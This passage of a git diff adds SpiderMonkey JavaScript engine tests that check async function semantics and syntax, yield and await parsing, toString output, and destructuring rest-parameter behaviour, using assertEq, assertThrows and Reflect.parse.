+ assertEq(a.async, 11);
+}
+
+{
+ let { async } = { async: 12 };
+ assertEq(async, 12);
+}
+
+{
+ let { async = 13 } = {};
+ assertEq(async, 13);
+}
+
+{
+ let { async: a = 14 } = {};
+ assertEq(a, 14);
+}
+
+{
+ let { async, other } = { async: 15, other: 16 };
+ assertEq(async, 15);
+ assertEq(other, 16);
+
+ let a = { async, other };
+ assertEq(a.async, 15);
+ assertEq(a.other, 16);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/semantics.js b/js/src/tests/ecma_7/AsyncFunctions/semantics.js
new file mode 100644
index 000000000..cb2a04c3f
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/semantics.js
@@ -0,0 +1,169 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+var BUGNUMBER = 1185106;
+var summary = "async functions semantics";
+
+print(BUGNUMBER + ": " + summary);
+
+async function empty() {
+}
+assertEventuallyEq(empty(), undefined);
+
+async function simpleReturn() {
+ return 1;
+}
+assertEventuallyEq(simpleReturn(), 1);
+
+async function simpleAwait() {
+ var result = await 2;
+ return result;
+}
+assertEventuallyEq(simpleAwait(), 2);
+
+async function simpleAwaitAsync() {
+ var result = await simpleReturn();
+ return 2 + result;
+}
+assertEventuallyEq(simpleAwaitAsync(), 3);
+
+async function returnOtherAsync() {
+ return 1 + await simpleAwaitAsync();
+}
+assertEventuallyEq(returnOtherAsync(), 4);
+
+async function simpleThrower() {
+ throw new Error();
+}
+assertEventuallyThrows(simpleThrower(), Error);
+
+async function delegatedThrower() {
+ var val = await simpleThrower();
+ return val;
+}
+
+async function tryCatch() {
+ try {
+ await delegatedThrower();
+ return 'FAILED';
+ } catch (_) {
+ return 5;
+ }
+}
+assertEventuallyEq(tryCatch(), 5);
+
+async function tryCatchThrow() {
+ try {
+ await delegatedThrower();
+ return 'FAILED';
+ } catch (_) {
+ return delegatedThrower();
+ }
+}
+assertEventuallyThrows(tryCatchThrow(), Error);
+
+async function wellFinally() {
+ try {
+ await delegatedThrower();
+ } catch (_) {
+ return 'FAILED';
+ } finally {
+ return 6;
+ }
+}
+assertEventuallyEq(wellFinally(), 6);
+
+async function finallyMayFail() {
+ try {
+ await delegatedThrower();
+ } catch (_) {
+ return 5;
+ } finally {
+ return delegatedThrower();
+ }
+}
+assertEventuallyThrows(finallyMayFail(), Error);
+
+async function embedded() {
+ async function inner() {
+ return 7;
+ }
+ return await inner();
+}
+assertEventuallyEq(embedded(), 7);
+
+// recursion, it works!
+async function fib(n) {
+ return (n == 0 || n == 1) ? n : await fib(n - 1) + await fib(n - 2);
+}
+assertEventuallyEq(fib(6), 8);
+
+// mutual recursion
+async function isOdd(n) {
+ async function isEven(n) {
+ return n === 0 || await isOdd(n - 1);
+ }
+ return n !== 0 && await isEven(n - 1);
+}
+assertEventuallyEq(isOdd(12).then(v => v ? "oops" : 12), 12);
+
+// recursion, take three!
+var hardcoreFib = async function fib2(n) {
+ return (n == 0 || n == 1) ? n : await fib2(n - 1) + await fib2(n - 2);
+}
+assertEventuallyEq(hardcoreFib(7), 13);
+
+var asyncExpr = async function() {
+ return 10;
+}
+assertEventuallyEq(asyncExpr(), 10);
+
+var namedAsyncExpr = async function simple() {
+ return 11;
+}
+assertEventuallyEq(namedAsyncExpr(), 11);
+
+async function executionOrder() {
+ var value = 0;
+ async function first() {
+ return (value = value === 0 ? 1 : value);
+ }
+ async function second() {
+ return (value = value === 0 ? 2 : value);
+ }
+ async function third() {
+ return (value = value === 0 ? 3 : value);
+ }
+ return await first() + await second() + await third() + 6;
+}
+assertEventuallyEq(executionOrder(), 9);
+
+async function miscellaneous() {
+ if (arguments.length === 3 &&
+ arguments.callee.name === "miscellaneous")
+ return 14;
+}
+assertEventuallyEq(miscellaneous(1, 2, 3), 14);
+
+function thrower() {
+ throw 15;
+}
+
+async function defaultArgs(arg = thrower()) {
+}
+assertEventuallyEq(defaultArgs().catch(e => e), 15);
+
+let arrowAwaitExpr = async () => await 2;
+assertEventuallyEq(arrowAwaitExpr(), 2);
+
+let arrowAwaitBlock = async () => { return await 2; };
+assertEventuallyEq(arrowAwaitBlock(), 2);
+
+// Async functions are not constructible
+assertThrows(() => {
+ async function Person() {
+
+ }
+ new Person();
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/shell.js b/js/src/tests/ecma_7/AsyncFunctions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/shell.js
diff --git a/js/src/tests/ecma_7/AsyncFunctions/syntax-arrow.js b/js/src/tests/ecma_7/AsyncFunctions/syntax-arrow.js
new file mode 100644
index 000000000..6dc8d8621
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/syntax-arrow.js
@@ -0,0 +1,104 @@
+var BUGNUMBER = 1185106;
+var summary = "async arrow function syntax";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ // Parameters.
+ Reflect.parse("async () => 1");
+ Reflect.parse("async a => 1");
+ Reflect.parse("async (a) => 1");
+ Reflect.parse("async async => 1");
+ Reflect.parse("async (async) => 1");
+ Reflect.parse("async ([a]) => 1");
+ Reflect.parse("async ([a, b]) => 1");
+ Reflect.parse("async ({a}) => 1");
+ Reflect.parse("async ({a, b}) => 1");
+
+ assertThrows(() => Reflect.parse("async await => 1"), SyntaxError);
+ assertThrows(() => Reflect.parse("async (await) => 1"), SyntaxError);
+ assertThrows(() => Reflect.parse("async ([await]) => 1"), SyntaxError);
+ assertThrows(() => Reflect.parse("async ({await}) => 1"), SyntaxError);
+
+ assertThrows(() => Reflect.parse("async (a=await) => 1"), SyntaxError);
+ assertThrows(() => Reflect.parse("async ([a=await]) => 1"), SyntaxError);
+ assertThrows(() => Reflect.parse("async ({a=await}) => 1"), SyntaxError);
+
+ assertThrows(() => Reflect.parse("async (a=await 1) => 1"), SyntaxError);
+ assertThrows(() => Reflect.parse("async ([a=await 1]) => 1"), SyntaxError);
+ assertThrows(() => Reflect.parse("async ({a=await 1}) => 1"), SyntaxError);
+
+ assertThrows(() => Reflect.parse("async [a] => 1"), SyntaxError);
+ assertThrows(() => Reflect.parse("async [a, b] => 1"), SyntaxError);
+ assertThrows(() => Reflect.parse("async {a} => 1"), SyntaxError);
+ assertThrows(() => Reflect.parse("async {a: b} => 1"), SyntaxError);
+
+ // Expression body.
+ Reflect.parse("async a => a == b");
+
+ // Expression body with nested async function.
+ Reflect.parse("async a => async");
+ Reflect.parse("async a => async b => c");
+ Reflect.parse("async a => async function() {}");
+ Reflect.parse("async a => async function b() {}");
+
+ assertThrows(() => Reflect.parse("async a => async b"), SyntaxError);
+ assertThrows(() => Reflect.parse("async a => async function"), SyntaxError);
+ assertThrows(() => Reflect.parse("async a => async function()"), SyntaxError);
+
+ // Expression body with `await`.
+ Reflect.parse("async a => await 1");
+ Reflect.parse("async a => await await 1");
+ Reflect.parse("async a => await await await 1");
+
+ assertThrows(() => Reflect.parse("async a => await"), SyntaxError);
+ assertThrows(() => Reflect.parse("async a => await await"), SyntaxError);
+
+ // `await` is Unary Expression and it cannot have `async` function as an
+ // operand.
+ assertThrows(() => Reflect.parse("async a => await async X => Y"), SyntaxError);
+ Reflect.parse("async a => await (async X => Y)");
+ // But it can have `async` identifier as an operand.
+ Reflect.parse("async async => await async");
+
+ // Block body.
+ Reflect.parse("async X => {yield}");
+
+ // `yield` handling.
+ Reflect.parse("async X => yield");
+ Reflect.parse("async yield => X");
+ Reflect.parse("async yield => yield");
+ Reflect.parse("async X => {yield}");
+
+ Reflect.parse("async X => {yield}");
+ Reflect.parse("async yield => {X}");
+ Reflect.parse("async yield => {yield}");
+ Reflect.parse("function* g() { async X => yield }");
+
+ assertThrows(() => Reflect.parse("'use strict'; async yield => X"), SyntaxError);
+ assertThrows(() => Reflect.parse("'use strict'; async (yield) => X"), SyntaxError);
+ assertThrows(() => Reflect.parse("'use strict'; async X => yield"), SyntaxError);
+ assertThrows(() => Reflect.parse("'use strict'; async X => {yield}"), SyntaxError);
+
+ assertThrows(() => Reflect.parse("function* g() { async yield => X }"));
+ assertThrows(() => Reflect.parse("function* g() { async (yield) => X }"));
+ assertThrows(() => Reflect.parse("function* g() { async ([yield]) => X }"));
+ assertThrows(() => Reflect.parse("function* g() { async ({yield}) => X }"));
+
+ // Not async functions.
+ Reflect.parse("async ()");
+ Reflect.parse("async (a)");
+ Reflect.parse("async (async)");
+ Reflect.parse("async ([a])");
+ Reflect.parse("async ([a, b])");
+ Reflect.parse("async ({a})");
+ Reflect.parse("async ({a, b})");
+
+ // Async arrow function is assignment expression.
+ Reflect.parse("a ? async () => {1} : b");
+ Reflect.parse("a ? b : async () => {1}");
+ assertThrows(() => Reflect.parse("async () => {1} ? a : b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/syntax-modules.js b/js/src/tests/ecma_7/AsyncFunctions/syntax-modules.js
new file mode 100644
index 000000000..c83056f54
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/syntax-modules.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1185106;
+var summary = "async/await syntax in module";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof parseModule === "function") {
+ parseModule("async function f() { await 3; }");
+ parseModule("async function f() { await 3; }");
+ assertThrows(() => parseModule("var await = 5;"), SyntaxError);
+ assertThrows(() => parseModule("await;"), SyntaxError);
+ assertThrows(() => parseModule("await 5;"), SyntaxError);
+ assertThrows(() => parseModule("function f() { await 5; }"), SyntaxError);
+ assertThrows(() => parseModule("() => { await 5; }"), SyntaxError);
+ assertThrows(() => parseModule("export var await;"), SyntaxError);
+ assertThrows(() => parseModule("await => 1;"), SyntaxError);
+ assertThrows(() => parseModule("async function f() { function g() { await 3; } }"), SyntaxError);
+
+ if (typeof Reflect !== "undefined" && Reflect.parse) {
+ assertThrows(() => Reflect.parse("export default async function() { yield; }", { target: "module" }), SyntaxError);
+ assertThrows(() => Reflect.parse("export default async function() { yield = 1; }", { target: "module" }), SyntaxError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/syntax.js b/js/src/tests/ecma_7/AsyncFunctions/syntax.js
new file mode 100644
index 000000000..28e5febc1
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/syntax.js
@@ -0,0 +1,86 @@
+var BUGNUMBER = 1185106;
+var summary = "async/await syntax";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ assertEq(Reflect.parse("function a() {}").body[0].async, false);
+ assertEq(Reflect.parse("function* a() {}").body[0].async, false);
+ assertEq(Reflect.parse("async function a() {}").body[0].async, true);
+ assertEq(Reflect.parse("() => {}").body[0].async, undefined);
+
+ // Async generators are not allowed (with regards to spec)
+ assertThrows(() => Reflect.parse("async function* a() {}"), SyntaxError);
+
+ // No line terminator after async
+ assertEq(Reflect.parse("async\nfunction a(){}").body[0].expression.name, "async");
+
+ // Async function expressions
+ assertEq(Reflect.parse("(async function() {})()").body[0].expression.callee.async, true);
+ assertEq(Reflect.parse("var k = async function() {}").body[0].declarations[0].init.async, true);
+ assertEq(Reflect.parse("var nmd = async function named() {}").body[0].declarations[0].init.id.name, "named");
+
+ // `await` handling for function declaration name inherits.
+ assertEq(Reflect.parse("async function await() {}").body[0].id.name, "await");
+ assertThrows(() => Reflect.parse("async function f() { async function await() {} }"), SyntaxError);
+
+ // `await` is not allowed in function expression name.
+ assertThrows(() => Reflect.parse("(async function await() {})"), SyntaxError);
+
+ // Awaiting not directly inside an async function is not allowed
+ assertThrows(() => Reflect.parse("await 4;"), SyntaxError);
+ assertThrows(() => Reflect.parse("function a() { await 4; }"), SyntaxError);
+ assertThrows(() => Reflect.parse("function* a() { await 4; }"), SyntaxError);
+ assertThrows(() => Reflect.parse("async function k() { function a() { await 4; } }"), SyntaxError);
+
+ // Await is not allowed as a default expr.
+ assertThrows(() => Reflect.parse("async function a(k = await 3) {}"), SyntaxError);
+ assertThrows(() => Reflect.parse("async function a() { async function b(k = await 3) {} }"), SyntaxError);
+ assertThrows(() => Reflect.parse("async function a() { async function b(k = [await 3]) {} }"), SyntaxError);
+
+ assertThrows(() => Reflect.parse("async function a() { async function b([k = await 3]) {} }"), SyntaxError);
+ assertThrows(() => Reflect.parse("async function a() { async function b([k = [await 3]]) {} }"), SyntaxError);
+ assertThrows(() => Reflect.parse("async function a() { async function b({k = await 3}) {} }"), SyntaxError);
+ assertThrows(() => Reflect.parse("async function a() { async function b({k = [await 3]}) {} }"), SyntaxError);
+
+ // Await is not legal as an identifier in an async function.
+ assertThrows(() => Reflect.parse("async function a() { var await = 4; }"), SyntaxError);
+ assertThrows(() => Reflect.parse("async function a() { return await; }"), SyntaxError);
+
+ // Await is still available as an identifier name in strict mode code.
+ Reflect.parse("function a() { 'use strict'; var await = 3; }");
+ Reflect.parse("'use strict'; var await = 3;");
+
+ // Await is treated differently depending on context. Various cases.
+ Reflect.parse("var await = 3; async function a() { await 4; }");
+ Reflect.parse("async function a() { await 4; } var await = 5");
+ Reflect.parse("async function a() { function b() { return await; } }");
+
+ Reflect.parse("async function a() { var k = { async: 4 } }");
+
+ Reflect.parse("function a() { await: 4 }");
+
+ assertEq(Reflect.parse("async function a() { await 4; }")
+ .body[0].body.body[0].expression.operator, "await");
+
+ assertEq(Reflect.parse("async function a() { async function b() { await 4; } }")
+ .body[0].body.body[0].body.body[0].expression.operator, "await");
+
+ // operator priority test
+ assertEq(Reflect.parse("async function a() { await 2 + 3; }")
+ .body[0].body.body[0].expression.left.argument.value, 2);
+ assertEq(Reflect.parse("async function a() { await 2 + 3; }")
+ .body[0].body.body[0].expression.left.operator, "await");
+ assertEq(Reflect.parse("async function a() { await 2 + 3; }")
+ .body[0].body.body[0].expression.right.value, 3);
+
+ // blocks and other constructions
+ assertEq(Reflect.parse("{ async function a() { return 2; } }")
+ .body[0].body[0].async, true);
+
+ // Async function expression is primary expression.
+ Reflect.parse("(async function a() {}.constructor)");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/toString.js b/js/src/tests/ecma_7/AsyncFunctions/toString.js
new file mode 100644
index 000000000..39ae938c3
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/toString.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1185106;
+var summary = "async function toString";
+
+print(BUGNUMBER + ": " + summary);
+
+async function f1(a, b, c) { await a; }
+
+assertEq(f1.toString(),
+ "async function f1(a, b, c) { await a; }");
+
+assertEq(async function (a, b, c) { await a; }.toString(),
+ "async function (a, b, c) { await a; }");
+
+assertEq((async (a, b, c) => await a).toString(),
+ "async (a, b, c) => await a");
+
+assertEq((async (a, b, c) => { await a; }).toString(),
+ "async (a, b, c) => { await a; }");
+
+assertEq({ async foo(a, b, c) { await a; } }.foo.toString(),
+ "async function foo(a, b, c) { await a; }");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/yield.js b/js/src/tests/ecma_7/AsyncFunctions/yield.js
new file mode 100644
index 000000000..348d11f3d
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/yield.js
@@ -0,0 +1,71 @@
+var BUGNUMBER = 1185106;
+var summary = "yield handling in async function";
+
+print(BUGNUMBER + ": " + summary);
+
+function testPassArgsBody(argsbody) {
+ Reflect.parse(`async function a${argsbody}`);
+ Reflect.parse(`(async function a${argsbody})`);
+ Reflect.parse(`(async function ${argsbody})`);
+ Reflect.parse(`({ async m${argsbody} })`);
+}
+
+function testErrorArgsBody(argsbody, prefix="") {
+ assertThrows(() => Reflect.parse(`${prefix} async function a${argsbody}`), SyntaxError);
+ assertThrows(() => Reflect.parse(`${prefix} (async function a${argsbody})`), SyntaxError);
+ assertThrows(() => Reflect.parse(`${prefix} (async function ${argsbody})`), SyntaxError);
+ assertThrows(() => Reflect.parse(`${prefix} ({ async m${argsbody} })`), SyntaxError);
+}
+
+function testErrorArgsBodyStrict(argsbody) {
+ testErrorArgsBody(argsbody);
+ testErrorArgsBody(argsbody, "'use strict'; ");
+ assertThrows(() => Reflect.parse(`class X { async m${argsbody} }`), SyntaxError);
+ assertThrows(() => Reflect.parse(`class X { static async m${argsbody} }`), SyntaxError);
+ assertThrows(() => Reflect.parse(`export default async function ${argsbody}`, { target: "module" }), SyntaxError);
+}
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ // `yield` handling is inherited in async function declaration name.
+ Reflect.parse("async function yield() {}");
+ Reflect.parse("function f() { async function yield() {} }");
+ assertThrows(() => Reflect.parse("function* g() { async function yield() {} }"), SyntaxError);
+ assertThrows(() => Reflect.parse("'use strict'; async function yield() {}"), SyntaxError);
+
+ // `yield` is treated as an identifier in an async function expression name.
+ // `yield` is not allowed as an identifier in strict code.
+ Reflect.parse("(async function yield() {});");
+ Reflect.parse("function f() { (async function yield() {}); }");
+ Reflect.parse("function* g() { (async function yield() {}); }");
+ assertThrows(() => Reflect.parse("'use strict'; (async function yield() {});"), SyntaxError);
+
+ // `yield` handling is inherited in async method name.
+ Reflect.parse("({ async yield() {} });");
+ Reflect.parse("function f() { ({ async yield() {} }); }");
+ Reflect.parse("function* g() { ({ async yield() {} }); }");
+ Reflect.parse("'use strict'; ({ async yield() {} });");
+ Reflect.parse("class X { async yield() {} }");
+
+ Reflect.parse("({ async [yield]() {} });");
+ Reflect.parse("function f() { ({ async [yield]() {} }); }");
+ Reflect.parse("function* g() { ({ async [yield]() {} }); }");
+ assertThrows(() => Reflect.parse("'use strict'; ({ async [yield]() {} });"), SyntaxError);
+ assertThrows(() => Reflect.parse("class X { async [yield]() {} }"), SyntaxError);
+
+ // `yield` is treated as an identifier in an async function parameter
+ // `yield` is not allowed as an identifier in strict code.
+ testPassArgsBody("(yield) {}");
+ testPassArgsBody("(yield = 1) {}");
+ testPassArgsBody("(a = yield) {}");
+ testErrorArgsBodyStrict("(yield 3) {}");
+ testErrorArgsBodyStrict("(a = yield 3) {}");
+
+ // `yield` is treated as an identifier in an async function body
+ // `yield` is not allowed as an identifier in strict code.
+ testPassArgsBody("() { yield; }");
+ testPassArgsBody("() { yield = 1; }");
+ testErrorArgsBodyStrict("() { yield 3; }");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/Destructuring/browser.js b/js/src/tests/ecma_7/Destructuring/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/Destructuring/browser.js
diff --git a/js/src/tests/ecma_7/Destructuring/duplicate-__proto__.js b/js/src/tests/ecma_7/Destructuring/duplicate-__proto__.js
new file mode 100644
index 000000000..a8f76014e
--- /dev/null
+++ b/js/src/tests/ecma_7/Destructuring/duplicate-__proto__.js
@@ -0,0 +1,54 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring assignment.
+var a, b;
+({__proto__: a, __proto__: b} = {});
+assertEq(a, Object.prototype);
+assertEq(b, Object.prototype);
+
+// Destructuring binding with "var".
+var {__proto__: a, __proto__: b} = {};
+assertEq(a, Object.prototype);
+assertEq(b, Object.prototype);
+
+// Destructuring binding with "let".
+{
+ let {__proto__: a, __proto__: b} = {};
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+}
+
+// Destructuring binding with "const".
+{
+ const {__proto__: a, __proto__: b} = {};
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+}
+
+// Function parameters.
+function f1({__proto__: a, __proto__: b}) {
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+}
+f1({});
+
+// Arrow function parameters.
+var f2 = ({__proto__: a, __proto__: b}) => {
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+};
+f2({});
+
+// Arrow function parameters with defaults (initially parsed as destructuring assignment).
+var f3 = ({__proto__: a, __proto__: b} = {}) => {
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+};
+f3({});
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/Destructuring/rest-parameter-aray-iterator.js b/js/src/tests/ecma_7/Destructuring/rest-parameter-aray-iterator.js
new file mode 100644
index 000000000..bf9643fd7
--- /dev/null
+++ b/js/src/tests/ecma_7/Destructuring/rest-parameter-aray-iterator.js
@@ -0,0 +1,40 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Destructuring rest arrays call the array iterator. This behaviour is
+// observable when Array.prototype[Symbol.iterator] is overridden.
+
+const oldArrayIterator = Array.prototype[Symbol.iterator];
+try {
+ let callCount = 0;
+ Array.prototype[Symbol.iterator] = function() {
+ callCount += 1;
+ return oldArrayIterator.call(this);
+ };
+
+ // Array iterator called exactly once.
+ function arrayIterCalledOnce(...[]) { }
+ assertEq(callCount, 0);
+ arrayIterCalledOnce();
+ assertEq(callCount, 1);
+
+ // Array iterator not called before rest parameter.
+ callCount = 0;
+ function arrayIterNotCalledBeforeRest(t = assertEq(callCount, 0), ...[]) { }
+ assertEq(callCount, 0);
+ arrayIterNotCalledBeforeRest();
+ assertEq(callCount, 1);
+
+ // Array iterator called when rest parameter is processed.
+ callCount = 0;
+ function arrayIterCalledWhenDestructuring(...[t = assertEq(callCount, 1)]) { }
+ assertEq(callCount, 0);
+ arrayIterCalledWhenDestructuring();
+ assertEq(callCount, 1);
+} finally {
+ Array.prototype[Symbol.iterator] = oldArrayIterator;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/Destructuring/rest-parameter-arguments.js b/js/src/tests/ecma_7/Destructuring/rest-parameter-arguments.js
new file mode 100644
index 000000000..e87cdff33
--- /dev/null
+++ b/js/src/tests/ecma_7/Destructuring/rest-parameter-arguments.js
@@ -0,0 +1,101 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure the |arguments| object works as expected when a destructuring rest
+// parameter is present.
+
+// |arguments.length| with destructuring rest array.
+function argsLengthEmptyRestArray(...[]) {
+ return arguments.length;
+}
+assertEq(argsLengthEmptyRestArray(), 0);
+assertEq(argsLengthEmptyRestArray(10), 1);
+assertEq(argsLengthEmptyRestArray(10, 20), 2);
+
+function argsLengthRestArray(...[a]) {
+ return arguments.length;
+}
+assertEq(argsLengthRestArray(), 0);
+assertEq(argsLengthRestArray(10), 1);
+assertEq(argsLengthRestArray(10, 20), 2);
+
+function argsLengthRestArrayWithDefault(...[a = 0]) {
+ return arguments.length;
+}
+assertEq(argsLengthRestArrayWithDefault(), 0);
+assertEq(argsLengthRestArrayWithDefault(10), 1);
+assertEq(argsLengthRestArrayWithDefault(10, 20), 2);
+
+
+// |arguments.length| with destructuring rest object.
+function argsLengthEmptyRestObject(...{}) {
+ return arguments.length;
+}
+assertEq(argsLengthEmptyRestObject(), 0);
+assertEq(argsLengthEmptyRestObject(10), 1);
+assertEq(argsLengthEmptyRestObject(10, 20), 2);
+
+function argsLengthRestObject(...{a}) {
+ return arguments.length;
+}
+assertEq(argsLengthRestObject(), 0);
+assertEq(argsLengthRestObject(10), 1);
+assertEq(argsLengthRestObject(10, 20), 2);
+
+function argsLengthRestObjectWithDefault(...{a = 0}) {
+ return arguments.length;
+}
+assertEq(argsLengthRestObjectWithDefault(), 0);
+assertEq(argsLengthRestObjectWithDefault(10), 1);
+assertEq(argsLengthRestObjectWithDefault(10, 20), 2);
+
+
+// |arguments| access with destructuring rest array.
+function argsAccessEmptyRestArray(...[]) {
+ return arguments[0];
+}
+assertEq(argsAccessEmptyRestArray(), undefined);
+assertEq(argsAccessEmptyRestArray(10), 10);
+assertEq(argsAccessEmptyRestArray(10, 20), 10);
+
+function argsAccessRestArray(...[a]) {
+ return arguments[0];
+}
+assertEq(argsAccessRestArray(), undefined);
+assertEq(argsAccessRestArray(10), 10);
+assertEq(argsAccessRestArray(10, 20), 10);
+
+function argsAccessRestArrayWithDefault(...[a = 0]) {
+ return arguments[0];
+}
+assertEq(argsAccessRestArrayWithDefault(), undefined);
+assertEq(argsAccessRestArrayWithDefault(10), 10);
+assertEq(argsAccessRestArrayWithDefault(10, 20), 10);
+
+
+// |arguments| access with destructuring rest object.
+function argsAccessEmptyRestObject(...{}) {
+ return arguments[0];
+}
+assertEq(argsAccessEmptyRestObject(), undefined);
+assertEq(argsAccessEmptyRestObject(10), 10);
+assertEq(argsAccessEmptyRestObject(10, 20), 10);
+
+function argsAccessRestObject(...{a}) {
+ return arguments[0];
+}
+assertEq(argsAccessRestObject(), undefined);
+assertEq(argsAccessRestObject(10), 10);
+assertEq(argsAccessRestObject(10, 20), 10);
+
+function argsAccessRestObjectWithDefault(...{a = 0}) {
+ return arguments[0];
+}
+assertEq(argsAccessRestObjectWithDefault(), undefined);
+assertEq(argsAccessRestObjectWithDefault(10), 10);
+assertEq(argsAccessRestObjectWithDefault(10, 20), 10);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/Destructuring/rest-parameter-function-length.js b/js/src/tests/ecma_7/Destructuring/rest-parameter-function-length.js
new file mode 100644
index 000000000..5924e799a
--- /dev/null
+++ b/js/src/tests/ecma_7/Destructuring/rest-parameter-function-length.js
@@ -0,0 +1,41 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure function length is set correctly when a destructuring rest parameter
+// is present.
+
+assertEq(function(...[]) {}.length, 0);
+assertEq(function(...[a]) {}.length, 0);
+assertEq(function(...[a = 0]) {}.length, 0);
+assertEq(function(...{}) {}.length, 0);
+assertEq(function(...{p: a}) {}.length, 0);
+assertEq(function(...{p: a = 0}) {}.length, 0);
+assertEq(function(...{a = 0}) {}.length, 0);
+
+assertEq(function(x, ...[]) {}.length, 1);
+assertEq(function(x, ...[a]) {}.length, 1);
+assertEq(function(x, ...[a = 0]) {}.length, 1);
+assertEq(function(x, ...{}) {}.length, 1);
+assertEq(function(x, ...{p: a}) {}.length, 1);
+assertEq(function(x, ...{p: a = 0}) {}.length, 1);
+assertEq(function(x, ...{a = 0}) {}.length, 1);
+
+assertEq(function(x, y, ...[]) {}.length, 2);
+assertEq(function(x, y, ...[a]) {}.length, 2);
+assertEq(function(x, y, ...[a = 0]) {}.length, 2);
+assertEq(function(x, y, ...{}) {}.length, 2);
+assertEq(function(x, y, ...{p: a}) {}.length, 2);
+assertEq(function(x, y, ...{p: a = 0}) {}.length, 2);
+assertEq(function(x, y, ...{a = 0}) {}.length, 2);
+
+assertEq(function(x, y = 0, ...[]) {}.length, 1);
+assertEq(function(x, y = 0, ...[a]) {}.length, 1);
+assertEq(function(x, y = 0, ...[a = 0]) {}.length, 1);
+assertEq(function(x, y = 0, ...{}) {}.length, 1);
+assertEq(function(x, y = 0, ...{p: a}) {}.length, 1);
+assertEq(function(x, y = 0, ...{p: a = 0}) {}.length, 1);
+assertEq(function(x, y = 0, ...{a = 0}) {}.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/Destructuring/rest-parameter-spread-call-optimization.js b/js/src/tests/ecma_7/Destructuring/rest-parameter-spread-call-optimization.js
new file mode 100644
index 000000000..20f6a529d
--- /dev/null
+++ b/js/src/tests/ecma_7/Destructuring/rest-parameter-spread-call-optimization.js
@@ -0,0 +1,29 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure the spread-call optimization doesn't break when a destructuring rest
+// parameter is used.
+
+function spreadTarget() { return arguments.length; }
+
+function spreadOpt(...[r]){ return spreadTarget(...r); }
+assertEq(spreadOpt([]), 0);
+assertEq(spreadOpt([10]), 1);
+assertEq(spreadOpt([10, 20]), 2);
+assertEq(spreadOpt([10, 20, 30]), 3);
+
+function spreadOpt2(...[...r]){ return spreadTarget(...r); }
+assertEq(spreadOpt2(), 0);
+assertEq(spreadOpt2(10), 1);
+assertEq(spreadOpt2(10, 20), 2);
+assertEq(spreadOpt2(10, 20, 30), 3);
+
+function spreadOpt3(r, ...[]){ return spreadTarget(...r); }
+assertEq(spreadOpt3([]), 0);
+assertEq(spreadOpt3([10]), 1);
+assertEq(spreadOpt3([10, 20]), 2);
+assertEq(spreadOpt3([10, 20, 30]), 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/Destructuring/rest-parameter-syntax.js b/js/src/tests/ecma_7/Destructuring/rest-parameter-syntax.js
new file mode 100644
index 000000000..a145d1a2d
--- /dev/null
+++ b/js/src/tests/ecma_7/Destructuring/rest-parameter-syntax.js
@@ -0,0 +1,87 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
